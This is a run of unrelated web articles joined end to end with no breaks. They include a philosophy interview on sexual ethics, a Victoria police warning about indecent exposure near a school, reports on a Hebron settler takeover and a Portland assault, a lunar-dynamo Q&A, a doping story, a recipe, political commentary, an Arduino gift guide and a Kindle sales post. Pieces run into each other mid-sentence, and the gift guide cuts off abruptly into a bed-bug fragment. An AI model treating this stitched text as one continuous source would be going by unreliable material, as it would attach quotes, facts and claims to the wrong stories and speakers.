Her analysis has led her to challenge the traditional feminist concern with “objectification”: treating women’s bodies as objects. Instead, she uses “derivatisation” – treating women as “stunted persons, persons whose identity and behaviour is primarily or entirely limited by the desires of another person” – as a standard by which to measure actions.
Cahill says “we need to remember that sexual assault is not the only kind of sexual interaction that is ethically problematic. Too often our approach to sexual ethics is limited by relying solely on the presence of consent, a reliance that obscures other crucial elements in sexual interactions that are ethically relevant”.
How do you distinguish “unjust sex” from rape?
“Briefly, I argue that examples of unjust sex and incidents of sexual assault share an indifference to women’s sexual preferences, desires and wellbeing, and that’s what explains how unjust sex perpetuates and upholds rape culture. In both cases, the specific sexuality of the woman is not participating robustly in the creation of the sexual interaction.
“What distinguishes the two examples, I then argue, is the specific role that the woman’s sexual subjectivity plays. In the case of examples within the grey area of unjust sex, women’s agency plays an important role: if a man repeats a request for or invitation to sex multiple times, for example, that very repetition indicates that the woman’s consent is important.
“However, I also argue that the role that the woman’s agency plays is a problematically stunted one that limits the kind of influence she can have on the quality of the interaction that ensues, and does so to such an extent that it renders the interaction unethical.
“In the case of sexual assault, the woman’s agency is either overcome – by force, or coercion, or other methods – or undone entirely, by use of drugs or alcohol.”
Where does “objectification” come into this, and does sexual attraction always entail some element of it?
“Feminists have long used the notion of objectification as an ethical lens, and specifically, as an ethically pejorative term. And certainly I do think that many of the social and political phenomena that feminists have criticised by using the term ‘objectification’ – dominant forms of pornography, oppressive medical practices, common representations of women’s bodies – are worthy of ethical critique.
“However, I worry about what the term ‘objectification’ implies, and when I dug into the philosophical literature that sought to really unpack the term, my worries only intensified. If objectification means, roughly, to be treated as a thing – a material entity – and if it is virtually always ethically problematic, then it seems we are committed to a metaphysics that places our materiality in opposition to our humanity or moral worth.
“But what if our materiality, our embodiment, is not contrary to our humanity or moral worth, but an essential part of it? If we approach embodiment in this way, then to be treated like a thing is not necessarily degrading or dehumanising. In fact, having one’s body be the object of a sexualising gaze and/or touch could be deeply affirming.
“Getting back to your question: does sexual attraction require objectification? The short answer is yes: sexual attraction requires treating another body as a material entity. But that does not mean that sexual attraction is necessarily ethically problematic.”
You say women “are encouraged, and in some cases required, to take on identities that are reducible to male heterosexual desires”. How do women avoid being so “derivatised” while in a relationship?
“This is a tricky matter, because human beings are intersubjective.
“Equal and just relationships among individuals require the recognition that they have a substantial contribution to make to those relationships, and that no relationship should position one of the individuals involved in it as the raison d’être of the relationship itself.”
Is the power dynamic always working in one direction, however? Women are capable of objectifying men. Should that concern us too?
“As I state above, objectification is not necessarily ethically problematic. And so to the extent that women have the capacity to treat men’s bodies as material entities, yes, they can objectify them.
“However, in our current political and social situation, women’s objectification of men’s bodies is far less common than men’s objectification of women’s bodies; even more importantly, it rarely amounts to derivatisation and does not serve to undermine men’s political, social, and economic equality.
“When I say that it does not amount to derivatisation, I mean that heterosexual men are less likely to view their bodies solely or persistently through the lens of how they appear to heterosexual women, and they rarely see male bodies represented in dominant media as defined primarily or solely through how those bodies appear to heterosexual women.
“While it’s not impossible for women to derivatise men - one can imagine, for example, a woman evaluating a man as a sexual partner solely on the basis of whether he matches her sexual preferences - structurally, those examples of derivatisation don’t add up to the kind of persistent inequality that still tracks along gender lines.
“For example, as political candidates, men don’t suffer for failing to meet the aesthetic ideals of heterosexual women, while women do suffer for failing to meet the aesthetic ideals of heterosexual men. Of course, they also suffer for meeting those ideals too well, because feminine beauty, while allegedly admirable in women, is also associated with shallowness and lack of intellect.
“Although I haven’t written about this before, however, it seems to me that hegemonic masculinity does have a derivatising effect on heterosexual men, to the extent that it requires them to derivatise women. In this sense, the subjectivity of heterosexual men is stunted to the extent that it is required to engage in the kinds of behaviour that demonstrates disrespect of women as moral equals - behaviour that is necessary for other heterosexual male subjects to be confirmed or affirmed in their own forms of masculinity.
“To the extent that heterosexual men can find their standing within homosocial relations threatened or troubled if they refuse to derivatise women, or at least pretend to, then they are also subject to a failure to recognise their own ontological distinctness.”
Ann Cahill will speak about “Unjust Sex vs Rape” at a Society of Women in Philosophy Ireland workshop on Tuesday, February 7th, at NUI Merrion Square, Dublin. Details on www.swip-ireland.com/
ASK A SAGE
Question: Am I degrading myself by trying to look good?
Simone de Beauvoir replies: “To make oneself an object, to make oneself passive, is a very different thing from being a passive object.”Victoria, BC - Officers are urging parents and caregivers to speak with their children after receiving a series of reports involving a male exposing himself to children during after school hours in the area around Macaulay Elementary School.
"While several officers, including dedicated Esquimalt Division Patrol resources, School Liaison Officers and members of our Investigative Services Division are working these files, we're asking that you speak with your children today to help keep them safe," Acting Esquimalt Division Inspector Jason Laidman said. "There was no physical contact with the children in these incidents, but we are treating them as a high priority."
Here are messages to share with your children:
1.) If someone does something that makes you feel confused, uncomfortable or sad, SHOUT NO! and tell a teacher, parent or police officer right away.
2.) There is safety in numbers. Bring a buddy with you when you go places.
3.) If someone asks you to go somewhere with them and your parents don't know, SHOUT NO! and go tell a teacher, parent or police officer right away.
These messages are taken from the Canadian Centre for Child Protection "7 Root Safety Strategies Guide"
About the incidents
Two reports were received that on May 26th a man exposed himself to children in the Macaulay Elementary area. In the first incident, at approximately 3 p.m. a man exposed himself to children in the 900-block of Wollaston Street.
A few moments later, a man exposed himself to a child walking to the bus stop at the corner of Wollaston and Macaulay streets. In both incidents the suspect approached children with a shirt or sweatshirt over his pants. He then lifted the shirt, showing that his pants were open and his genitals exposed.
When speaking with officers, the child in this second May 26th incident reported that the same man had exposed himself to the child in a similar manner earlier in the year when she walked past him sitting on a bench on Lyall Street across from the Archie Browning Centre. The child had not reported the incident at that time.
Suspect Description
The suspect in these incidents is described as a Caucasian male, aged 25 to 30 years. He has a medium build, standing approximately 5'7" to 5' 9" tall. He has short dirty blonde or brown hair, parted to one side and gelled. The suspect was wearing a black t-shirt and black pants and sunglasses.
This suspect description is markedly similar to that of a similar incident in the same area that occurred on April 28th of this year. Information about that incident was the subject of a release at that time.
If you recognize the suspect or have information about these incidents, please call our non-emergency line at (250) 995-7654. To report what you know anonymously, please call Greater Victoria Crime Stoppers at 1 (800) 222-8477.
Further Resources
For excellent online resources on keeping your children safer please visit the Canadian Centre for Child Protection at https://www.protectchildren.ca.Dozens of Israeli settlers with crowbars descend on two homes in the old city of Hebron. Israeli authorities remove them a day later.
The phrase “settler takeover” is used fairly often by the international media to discuss a common occurrence in the West Bank and East Jerusalem. But rarely do the cameras actually capture just how this kind of thing is done. That’s why the sight of dozens of Israeli settlers with crowbars descending on two homes in the old city of Hebron is as surprising as it is disturbing.
The settlers, who took over the buildings on Thursday, claimed to have purchased the properties, located near the Cave of the Patriarchs. Israeli authorities were not previously informed of the takeover. According to Israeli political analyst Tal Schneider, the decision to take over the two homes was orchestrated by high-ranking members within the ruling Likud party, none of whom actually live in West Bank settlements.
Israeli security forces removed the settlers on Friday morning, with Defense Minister Moshe Ya’alon calling them “intruders” who “trampled the law” for not taking the necessary legal measures required to move into the houses. None of the settlers were arrested, however.
The last major settler takeover in Hebron occurred in April 2014, when three Israeli families moved into a contested home, following a years-long legal battle that culminating with an authorization from Israeli Defense Minister Moshe Ya’alon.
Palestinians claimed the property was purchased using forged documents, but Israel’s Supreme Court rejected that claim. Settlers often buy Palestinian land through front companies, the most famous of which is named Al Wattan (homeland in Arabic). Read more about fraudulent settler land purchase tactics here.
Earlier this month settlers used a front company meant to appear like a Swedish church group in order to purchase property for a new settlement in between Bethlehem and Jerusalem. Defense Minister Ya’alon eventually approved that purchase, to the chagrin of the United States.
Settlers in Jerusalem often use similar tactics to take over Palestinian property, even when the buildings themselves aren’t abandoned, such as the case of the Sub Laban family, whom settlers nearly expelled from their Old City home in March of last year.
In late 2014, Israeli settlers took over three empty apartment buildings in the heart of the Palestinian neighborhood of Silwan in East Jerusalem. They moved in under the auspices of Ateret Cohanim and Elad, respectively, two settler organizations based in the Muslim Quarter of the Old City that seek to create a Jewish demographic majority in East Jerusalem.
The buildings were purchased by foreign companies at the behest of the Committee for the Renewal of the Yemenite Village, which claims to want to re-establish the Yemenite community that lived in the area before the establishment of the State of Israel.Copyright by KOIN - All rights reserved Rex Eligio Tanberg, 55, is shown in a jail booking photo released by the Multnomah County Sheriff's Office.
Copyright by KOIN - All rights reserved Rex Eligio Tanberg, 55, is shown in a jail booking photo released by the Multnomah County Sheriff's Office.
PORTLAND, Ore. (KOIN) – Police are investigating what appears to be a random attack, and the suspect reportedly has 140 convictions.
Rex Eligio Tanberg, 55, is being held at the Multnomah County Detention Center. He is charged with one count each of second-degree assault and unlawful use of a weapon.
According to court documents, the assault happened on April 1 at Northwest 2nd and West Burnside.
Tanberg, according to court records, has five felony convictions and 135 misdemeanor convictions that date back to 1996.
His first conviction came when he was 18 years old, according to court documents.
Court records show the pedestrian was struck in the face/mouth with a bludgeoning device and was taken to the hospital. The man suffered a severe injury.
Tanberg told court staff during the booking process that the assault was gang related. Police dispute that claim and say the attack was random.
On Monday, Sgt. Pete Simpson told KOIN 6 News that the victim lives on a boat at McCormick Pier.
Tanberg is scheduled to appear in court for his arraignment on April 12.Teamwork will reign supreme and determine the victor in Ghost Recon: Future Soldier. Tommy Jacob, creative director on Ghost Recon, has provided a great commentary on an introduction to the multiplayer beta releasing on April 19th. The video highlights many of the features that players will be able to get their hands on and there are many reasons to get excited. The coordination system will now guarantee you get on track of the quickest route to reach objectives and teammates. Speaking of teammates, you want to ensure that you move tactically as a unit in order to provide cover and revive fallen comrades. The new confidence system makes your team feel unstoppable, and acting as a team directly affects gameplay. When players go after objectives as a team, they will be able to quickly acquire the goal while they have their boost of team confidence. There's nothing as nerve shattering as attempting to take an objective alone, behind enemy lines, low-ammo, and nowhere to run. With the confidence system, it provides an even greater reason to stay close to your team and act as one tactical monster. Data hacking will provide players with positional info on their enemies. Using non-lethal equipment offers the opportunity to go in close and hack into the enemies intel. Make sure you leave them with a few well placed rounds before you swiftly move to your newly acquired targets. http://youtu.be/psSVNEnJtB4 If you'll be getting access to the beta on Xbox 360, I will be playing most of the day on April 19, and periodically until the beta closes. My gamertag is, so go ahead and add me. You'll be helping to contribute to our beta impressions for those without access to get a feel for what it means to play as a team. Just be prepared to tactically execute our adversariesWhen the Apollo astronauts returned to Earth, they brought with them some souvenirs: rocks, pebbles, and dust from the moon’s surface. These lunar samples have since been analyzed for clues to the moon’s past. One outstanding question has been whether the moon was once a complex, layered, and differentiated body, like the Earth is today, or an unheated relic of the early solar system, like most asteroids.
Ben Weiss, a professor of planetary sciences in MIT’s Department of Earth, Atmospheric and Planetary Sciences, and members of his laboratory have found remnants of magnetization in some lunar rocks, suggesting that the moon once emitted a substantial magnetic field, much like the Earth does today. The discovery has opened a new set of questions: How long did this magnetic field last? How strong was its pull? And what sparked and sustained it?
Weiss and former MIT student Sonia Tikoo have written a review, published today in Science, in which they explore the possibility of a lunar dynamo — a molten, churning core at the center of the moon that may have powered an intense magnetic field for at least 1 billion years. Weiss spoke with MIT News about the moon’s hidden history.
Q. How would a lunar dynamo have worked? What might have been going on in the moon, and in the solar system, to sustain this dynamo for a billion years?
A. Planetary dynamos are generated by the process of induction, in which the energy of turbulent, conducting fluids is transformed into a magnetic field. Magnetic fields are one of the very few outward manifestations of the extremely energetic fluid motions that can occur in advecting planetary cores.
The motion of Earth’s liquid core is powered by the cooling of the planet, which stirs up buoyant fluid from the surrounding liquid — similar to what happens in a lava lamp. We have recently argued from magnetic studies of Apollo samples that the moon also generated a dynamo in its molten metal core.
Our data suggest that, despite the moon’s tiny size — only 1 percent of the Earth’s mass — its dynamo was surprisingly intense (stronger than Earth’s field today) and long-lived, persisting from at least 4.2 billion years ago until at least 3.56 billion years ago. This period, which overlaps the early epoch of intense solar system-wide meteoroid bombardment and coincides with the oldest known records of life on Earth, comes just before our earliest evidence of the Earth’s dynamo.
Q. Why is it so surprising that a lunar dynamo may have been so intense and long-lived?
A. Both the strong intensity and long duration of lunar fields are surprising because of the moon’s small size. Convection, which is thought to power all known dynamos in the solar system today, is predicted to produce surface magnetic fields on the moon at least 10 times weaker than what we observe recorded in ancient lunar rocks.
Nevertheless, a convective dynamo powered by crystallization of an inner core could potentially sustain a lunar magnetic field for billions of years. An exotic dynamo mechanism that could explain the moon’s strong field intensity is that the core was stirred by motion of the solid overlying mantle, analogous to a blender. The moon’s mantle was moving because its spin axis is precessing, or wobbling, and such motion was more vigorous billions of years ago, when the moon was closer to the Earth. Such mechanical dynamos are not known for any other planetary body, making the moon a fascinating natural physics laboratory.
Q. What questions will the next phase of lunar dynamo research seek to address?
A. We know that the moon’s field declined precipitously between 3.56 billion years ago and 3.3 billion years ago, but we still do not know when the dynamo actually ceased. Establishing this will be a key goal of the next phase of lunar magnetic studies.
We also do not know the absolute direction of the lunar field, since all of our samples were unoriented rocks from the regolith — the fragmental layer produced by impacts on the lunar surface. If we could find a sample whose original orientation is known, we could determine the absolute direction of the lunar field relative to the planetary surface. This transformative measurement would then allow us to test ideas that the moon’s spin pole wandered in time across the planetary surface, possibly due to large impacts.Chinese Olympic swimmer Chen Xinyi has tested positive for a banned substance, the country's first doping scandal at the Rio Olympics.
The 18-year-old swimming prodigy, who was milliseconds from a podium finish in the 100m breaststroke final, reportedly failed a blood test taken before the Games.
The Chinese Swimming Association (CSA) confirmed Chen had tested positive for hydrochlorothiazide, a banned substance often used to mask performance-enhancing drugs.
Chen has reportedly supplied her 'B' sample for additional testing, and requested a hearing with the International Olympic Committee to look into the matter.
Chinese Olympic swimmer Chen Xinyi has allegedly tested positive to drugs
The shocking allegations were first made by Estadao, a Brazilian newspaper, who claimed that Chen was not aware of the alleged failed blood test until Tuesday.
According to Chinese news agency Xinhua, the CSA said they had 'taken the matter seriously' and 'demanded full cooperation from Chen in the investigation.'
'The CSA resolutely opposes use of banned substances. We will cooperate with the Court of Arbitration of Sport during its investigation and will respect the final ruling,' CSA said in a statement.
Chen was set to enter the pool again on Friday morning in Rio for the heats of the women's 50m freestyle, racing against Australian medal hopefuls Cate and Bronte Campbell.
She was also the likely butterflyer for China's 4x100m medley relay.
Chen's teammate Wang declined to comment after he won bronze in Thursday's 200-meter individual medley.
'This situation, I don't know the details. I'm not aware of it, so unfortunately I can't answer your question,' Wang said.
A spokesperson for FINA, the international governing body of swimming, declined to comment.You have probably figured out by now that I love cheese. I want as much cheese involved in my life as possible. So these taco shells made of cheese really speak to me.
Now. I know that this is by no means an “authentic” taco, but I actually don’t care at all. A shell of crispy cheese wrapped around meat are pure dream fuel and I am going to eat it. (And yes, I realize this if just a big ‘ol piece of frico.)
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To make this glorious vessel, you will need two water glasses, a thin-ish rolling pin, and some Parmesan. Shred the cheese into piles and flatten into 5-inch circles on a baking sheet lined with a silicone baking sheet or parchment. (1 cup of cheese is enough for two shells.) Bake at 375F for about 8 minutes until the edges are golden and the centers are fully melted. Drape the circles of wonder across a skinny rolling pin suspended by two glasses to form the shell. Fill with the delicious mixture Julie makes in the above video, or fill it whatever your beautiful heart desires. You are only limited by your dreams.
Cheese Tacos | TatstemadeIn this circular, which was released by Iranian ambassador to London Hamid Baeinejad on Thursday in a post in his Instagram page, the UK Foreign and Commonwealth Office clearly states that “the correct English name for this stretch of water is ‘Persian Gulf’.”
The confidential document further emphasize that “the term ‘Arabian Gulf’ should never be used in official communications.
On the reason for releasing this directive, the UK government has cited the Iranians’ sensitivity pver the ‘description of the Persian Gulf’, and added, “The use of any other term causes serious offence to the Iranians, and has been known to prejudice contracts and negotiations in Iran.’
Baeidinejad says the document has been taken out of the British government’s archive of classified files thanks to the efforts made by Majid Tafreshi, a senior professor of the Iranian history.
The release of the document comes a few days after Iranian people were outraged by US President Donald Trump’s use of the fake name ‘Arabian Gulf’ when referring to the body of water.Statists are gonna state. It’s just how they do it. They see the power of government as a force for good…so long as the right people are calling the shots. The thing is, it’s really not enough for a lot of statists to just tell us what we have to do. They’re not content telling people they can’t accept a wage below the federally mandated minimum. They’re not content trying to tell people what they can do in the privacy of their own bedrooms either.
No, there’s also this overriding desire by these very same people to tell us what we’re supposed to actually like.
From a site called Eco-business.com, an article called “Life in a ‘degrowth’ economy, and why you might actually enjoy it” says the following:
When one first hears calls for degrowth, it is easy to think that this new economic vision must be about hardship and deprivation; that it means going back to the stone age, resigning ourselves to a stagnant culture, or being anti-progress. Not so. Degrowth would liberate us from the burden of pursuing material excess. We simply don’t need so much stuff – certainly not if it comes at the cost of planetary health, social justice, and personal well-being. Consumerism is a gross failure of imagination, a debilitating addiction that degrades nature and doesn’t even satisfy the universal human craving for meaning. Degrowth, by contrast, would involve embracing what has been termed the “simpler way” – producing and consuming less.
Wow. I’m really glad I have statist jerks to tell me what gives my life meaning. I won’t get into the economics of that article right now, but instead I want to focus on this “meaning” thing for a moment.
I could write for days about the so-called “meaning” of life and all that. The truth is, I see no reason for it to be universal. What gives me meaning isn’t what gives you meaning, and that’s the beauty of being human. We each define our own meaning.
The truth is, no matter how much collectivists want to argue otherwise, people are individuals. We’re not cookie cutters. What the above quote argues is that this “simpler way” will actually give us the meaning our current lives don’t.
Of course, people lived these “simpler lives” before and they still pushed forward with technology. So much for that.
It would be easy to discount this is just another eco-nutjob site calling for the end of our way of life if that was where it ended. It’s not.
For example, there has been a movement for some time to tell me what shape of woman we should find attractive. While I’ve loved women of all shapes and sizes in my lifetime, I’ve got a problem with people telling me I’m wrong if I don’t prefer bigger women or something. And yes, that is exactly what they’re saying. It’s interesting that many of the women who share the memes on Facebook saying as much will turn around and admire a shirtless image of Channing Tatum or the late Paul Walker.
It’s not like any of this is new. Instead, it’s just a progression of what the left has been doing for years. We’re supposed to feel bad for opposing welfare programs. We’re supposed to feel bad if we think people should be free to purchase firearms. We’re supposed to feel bad about, well, anything that the left doesn’t like.
Now, they’ve simply spilled out into new areas that seem to have little to do with politics. It’s no longer advantageous for them to simply try and convince us to boycott certain products because of whatever reason. No, now they want to convince us to not even like said product.
If statism is about control, then the effort to control our wants and desires is the ultimate manifestation of that control. If they succeed in telling us what to like, then they no longer need to craft laws to force us to do certain things. While it may seem more libertarian to try and shift our likes, it’s also far more insidious.
They’re free to say what they want to do. Just as we’re free to see what they’re trying to do and call them on it.Bills that would force welfare applicants and recipients to undergo drug testing are moving in the state legislatures in Austin and Topeka. In Austin, a Texas Senate committee approved a drug testing bill, while in Topeka, the Kansas House approved a bill that would require drug testing of both welfare and unemployment recipients.
Both bills seek to avoid the constitutional problems that have plagued earlier welfare drug testing laws in Florida and Georgia. In those state, legislators passed bills calling for suspicionless mandatory drug testing of all recipients, which has been repeatedly blocked by the federal courts. The Kansas and Texas bills, on the other hand, only require drug testing upon "reasonable suspicion."The Kansas bill, Senate Bill 149, says that reasonable suspicion may be based on any number of factors, "including, but not limited to, an applicant's or recipient's demeanor, missed appointments and arrest or other police records, previous employment or application for employment in an occupation or industry that regularly conducts drug screening, termination from previous employment due to use of a controlled substance or controlled substance analog or prior drug screening records of the applicant or recipient indicating use of a controlled substance or controlled substance analog."The bill would require anyone who fails a drug test to get drug treatment and jobs skills training at government expense. Those who fail a second time would be ineligible for benefits for a year. The bill also would prevent anyone who is convicted of a drug felony after July from getting welfare for five years. A second conviction would mean a lifelong ban. House and Senate members also would be tested if there is a reasonable suspicion about their behavior.The bill passed the Senate at the beginning of March, but the House version contains some minor changes that will have to be reconciled before final passage.The Texas bill, Senate Bill 11, was introduced by Sen. Jane Nelson, the Republican chair of the Senate Health and Human Services Committee, which approved it Tuesday. It would require applicants to the state's Temporary Assistance to Needy Families (TANF) program to be screened for drug use. Those who appear to be using drugs or who have a previous drug conviction would be subject to drug testing. Applicants who tested positive would loss TANF funds for a year."Drug abuse destroys families, harms children and prevents individuals from living healthy, independent lives," Nelson said in a press release on Tuesday. "Because TANF is a direct cash assistance program, we have a responsibility to ensure that these funds are not being used to support a person’s drug habit."The bill has the support of Gov. Rick Perry (R) and Lt. Gov. David Dewhurst (R). "Texas taxpayers will not subsidize or tolerate illegal drug abuse," Perry said in a statement in November. "Every dollar that goes to someone who uses it inappropriately is a dollar that can’t go to a Texan who needs it for housing, child care or medicine."While defending the GOP health-care plan on March 9, House Speaker Paul Ryan said that Obamacare is in a "death spiral" because healthy people are forced to pay for the people who are sick. (The Washington Post)
Word to the wise: If you’re a politician, it’s not a good idea to pose anywhere near a sign, because meme. The Internet is unrelenting. Just ask the latest victim of unwitting meme-ification, House Speaker Paul D. Ryan (R-Wis.).
Ryan is having a moment, after an image of him explaining the GOP’s health-care plan via PowerPoint (read, a blank screen) went viral.
Here he is, as it actually happened, explaining why the Trump administration wants to nix Obamacare. Innocent enough, right? Just wait.
Obamacare is collapsing. Premiums and deductibles are going up, and options are going down. We need to #RepealAndReplace it. pic.twitter.com/xkHieOs3BL — Paul Ryan (@SpeakerRyan) March 9, 2017
Here’s Ryan explaining the NBA finals.
I can't believe Paul Ryan's PowerPoint presentation on the Republican's new health care plan. Stunned. pic.twitter.com/o8wgRpy3Eu — Alec White (@alec_wh1te) March 9, 2017
Some took the opportunity to get political.
It was awfully nice of @SpeakerRyan to walk us through his health care plan today. Much easier to understand now! pic.twitter.com/VTorYd5Ln7 — Stop the Speaker (@StopTheSpeaker) March 9, 2017
Rep. Keith Ellison (D-Minn.) jumped in.
Caught the tail end of @SpeakerRyan’s powerpoint presentation, and I have to say, I’m a little concerned. pic.twitter.com/vScaYT2LOs — Rep. Keith Ellison (@keithellison) March 9, 2017
Some enjoyed just flat-out making fun of Ryan.
I left a meeting to make this pic.twitter.com/mcS7cnAySy — Dan Amira (@DanAmira) March 9, 2017
Paul Ryan just gave a PowerPoint Presentation… pic.twitter.com/iOqvtglEhe — President Goodtime (@SethGoodtime) March 9, 2017
While others just … wanted to photoshop lipstick onto a pig?
But who doesn’t love a little Dr. McDreamy.
I am LOVING Paul Ryan's healthcare presentation right now pic.twitter.com/JNfl36QwEE — Josh Billinson (@jbillinson) March 9, 2017
You people have too much time on your hands.
hi twitter I made you this pic.twitter.com/74gbOm4A1J — delrayser (@delrayser) March 9, 2017
Ryan isn’t the first political type to get trolled with Photoshop. It happened to former first lady Michelle Obama in 2014 when she joined the online campaign to free enslaved girls who were captured by Boko Haram in Nigeria. Obama shared a sullen-faced image of herself holding a white sign that read “bring back our girls.” Meme generators were created, and it wasn’t long before the photoshopping began.
Our prayers are with the missing Nigerian girls and their families. It's time to #BringBackOurGirls. -mo pic.twitter.com/glDKDotJRt — First Lady- Archived (@FLOTUS44) May 7, 2014
The meme was revived in 2016 after Melania Trump delivered an RNC speech that was humorously similar to Michelle’s DNC speech in 2008.
You’ve been warned.Zoe Romano —
Last week we published four gift guides presenting a list of products available on the Arduino Store and organized by topic: for Kids, and for people interested in IoT, Home Lab and Fashion Tech.
Now we’d like to give you some suggestions for gift ideas fitting anyone’s piggy bank:
Gifts Under 15€
Arduino ISP
It’s a tiny AVR-ISP (in-system programmer) based on David Mellis’ project FabISP and useful to anyone needing more space on the Arduino board.
Flashing Card Set – Merry Resistivities by Bare Conductive
The Merry Resistivities Set contains all the materials you need to make three flashing greeting cards using Electric Paint. This fun activity is great for makers of all ages.
Minipov by Adafruit
A simple POV toy for beginners who wants to learn how to solder, how to program microcontrollers, or to make LED blinking toys. Because the programmer is built into the kit, one does not need a special “microcontroller programmer”.
Arduino Proto Shield
The Arduino Prototyping Shield makes it easy for you to design custom circuits for your next Arduino project. You can solder parts to the prototyping area to create your project with extra connections for all of the Arduino I/O pins.
Make Robot Notebook Moleskine
Pocket Moleskine Notebook – Fresh from the Maker Faire comes our exclusive mini-Moleskine (5.5″x3.5″, 30 pages) notebook, available with Robot logos.
Gifts Under 30€
Getting Started with Arduino – 2nd Edition
This classic book gives you lots of ideas to start tinkering and making projects with Arduino, and it helps you getting started right away. From getting organized to putting the final touches on your prototype, all the information you need is here!
Arduino Case + Breadboard Wires Kit
This lasercut (in Officine Arduino), wooden case is perfect to host your project and store electronic parts. It features two drawers, a confortable surface for a standard breadboard and the space for two Arduinos to be hooked up. It’s stackable, perfect for teaching material or group work.
Arduino UNO
If you want to make any beginner happy, this is the perfect gift. “Uno” means “One” in Italian and is named to mark |
pest control operator who will tell you what items can and can’t be treated.
Clean: Use a vacuum cleaner and the crevice tool of the vacuum cleaner to vacuum all the possible places bed bugs hide.
Wash: Wash off any signs of bed bugs as best you can. This will make it easier to see new signs of bed bugs on your next inspection.
Laundry: The heat of a hot dryer will kill all stages of bed bugs.
Isolate: Once items have no more bed bugs, keep them away from any bed bugs you know are still in your home.
If you find bed bugs in your clothing or on other personal items, click here for advice from Alberta Health Services.Pow, the headline at the conservative Washington Examiner reads. "It's just a 2-point race, Clinton 38%, Trump 36%."
There are plenty of asterisks that could be added, such as *in a four-way race and *from a conservative pollster that 538 once called "the worst pollster in the world" and *in an online poll. (The Examiner article notes that Donald Trump's campaign argues that online polls are more accurate because people are, for some reason, scared to tell a real person that they back Trump, but that's not accurate.) But, asterisks aside, the poll from Zogby is a poll, and Trump is sort-of-tied in it, therefore:
'It's just a 2-point race, Clinton 38%, Trump 36%' https://t.co/EzDzJ4EzIN — Donald J. Trump (@realDonaldTrump) August 16, 2016
We know Trump likes to talk about polls; it's part of his shtick. But he hasn't been talking about them much recently, probably because the polls haven't been very good. These were the last polls he tweeted about, on Aug. 1.
A lead for a Republican in Oklahoma is of questionable newsworthiness, and he now trails in Virginia by nearly double digits, according to a new poll from The Post. But those were polls, and they weren't bad, and so they got tweeted.
Before that, Trump was both tweeting polls more often and tweeting more often, in part thanks to the Republican convention. He tweeted about polls a number of times after the Republican convention in late July, because those polls showed him gaining on Clinton. After the Democratic convention, though, that margin collapsed — and the poll tweets stopped.
How picky has Trump been about polls? Even when Breitbart, the unabashedly pro-Trump outlet, commissioned its own poll, the candidate didn't tweet it. "It’s an open secret that polls are often manipulated and spun to create momentum for a particular candidate or issue," the site's editor in chief explained, arguing that Breitbart would avoid "the mainstream media filter." Its poll showed Trump down five points.
But now he's back on the horse, folks, thanks to a poll that shows him within two points, a closer margin than any major non-tracking poll has shown the race since Rasmussen Reports (also a Republican-leaning pollster) in late July. Happy days are here again*!
* Some conditions apply.
Update: Well, this would explain why he tweeted it.Everton full-back could require surgery on persistent ankle problemSurgery would rule him out of games against Republic of Ireland and Slovenia
England could face a left-back shortage for next month’s matches against the Republic of Ireland and Slovenia, with Leighton Baines potentially requiring surgery on a persistent ankle problem.
The Everton defender has suffered pain in an ankle for several weeks and aggravated the injury during Saturday’s 2-0 home defeat by Sunderland. He will discover whether an operation is necessary this week, with Everton keen to resolve the problem in readiness for the start of next season.
Baines would miss the friendly in Dublin on 7 June plus the European Championship qualifier in Slovenia the following week should a specialist propose surgery and an end to his Premier League season. With Luke Shaw likely to be included in Gareth Southgate’s plans for England’s involvement in the European Under-21 Championship this summer, the absence of the Manchester United full-back and Baines would reduce Roy Hodgson’s options to Southampton’s Ryan Bertrand and Arsenal’s Kieran Gibbs for the international double-header.
Roberto Martínez, the Everton manager, has not categorically ruled out Baines from his side’s visit to West Ham United on Saturday but admits the club need a long-term solution to the problem. Surgery now would improve the 30-year-old’s prospects of being available for pre-season training and fit for the new league campaign from 8 August.
“It’s a situation where we need to find out exactly what’s causing the pain,” said Martínez. “We want to find the solution so that Leighton can be pain-free because it seems like it’s a problem that’s been developing over a couple of weeks now and we need to put it right. He’ll see the specialist this week and we’ll make sure that before Friday we know if he’s going to be available for the squad against West Ham or not.”
Luke Garbutt will replace Baines in his likely absence but the England Under-21 international remains on course to leave Goodison Park this summer having failed to agree a new contract.I’d been expecting there was going to be a lot of new Kindle owners after Christmas, but now a business news service is backing me up. By the end of the year, Amazon will have sold more than 8 million Kindles, according to new statistics from Bloomberg. And it’s not just a prediction. They’re reporting that number came from “two people who are aware of the company’s sales projections.”
I have to wonder if this is a deliberate leak by Amazon. Amazon’s never shared their sales figures before, until Monday, when they finally revealed they’d sold “millions” of Kindles — just in the previous 73 days! It must’ve been hard keeping that secret, while Apple continued bragging about how fast their were selling their iPads. But in fact, Apple only sold 4.19 million iPads between July and September, and for the rest of the year, Bloomberg’s analyst has predicted that Apple will sell only 5 million more…
I’d like to give a big welcome to all the new Kindle owners. (In a few days, I’ll be publishing a few of my best new tricks for the Kindle!) And if you’re wondering if you should’ve bought an iPad instead — don’t. The selection of books is much smaller in Apple’s store, according to Publisher’s Weekly. “Want an e-book version of the nation’s bestselling nonfiction hardcovers? Don’t bother looking on the iBookstore. Apple still hasn’t struck a deal with Random House, publisher of current hits like George W. Bush’s Decision Points and Laura Hillenbrand’s Unbroken. For now, iPad users who want to get any of Random House’s bestsellers — which also include John Grisham’s The Confession and Stieg Larsson’s The Girl with the Dragon Tattoo — need to visit Apple’s App Store and download the free application for the Kindle or the Nook.”
Publisher’s Weekly notes that Apple offers just 130,000 books in its iBookstore, vs. the 300,000 applications in its app store — and you can’t even access Apple’s iBookstore from your computer, but only from a mobile device!
Maybe there’s a “stealth revolution” underway, and the Kindle’s popularity is Amazon’s own delicious secret. But if that’s true, then it’s got me curious. What kind of Kindles are people actually buying? I decided to ask a friend who publishes a popular technology site, and they agreed to anonymously share the break-down of their own sales for the last 30 days. They’d sold 90 Kindles — more than $13,000 worth — but eighteen of them were 2nd-generation Kindles. (Which is exactly 20%…) Almost two-thirds of their sales were for the new, cheaper WiFi Kindle — but that’s probably because Wi-Fi Kindles were specifically mentioned in Amazon’s ads. (“The All-New Kindle. Built-in Wi-Fi. Only $139…”) Since they’re only available in the new black color, this suggests we may start seeing fewer people in 2011 who are still carrying around the old-fashioned white Kindles.
Although maybe not. My friend’s web site also sold 15 of the new Kindle model that ships with both Wi-Fi and 3G connectivity — and only three buyers requested the graphite-colored Kindle. With this model there’s a choice of colors, and given a choice, 80% of the shoppers apparently went with a traditional white Kindle. And if you’re a new Kindle owner, remember. If you wrap your Kindle in a rubber “skin” you can change it to other colors, like blue or pink!
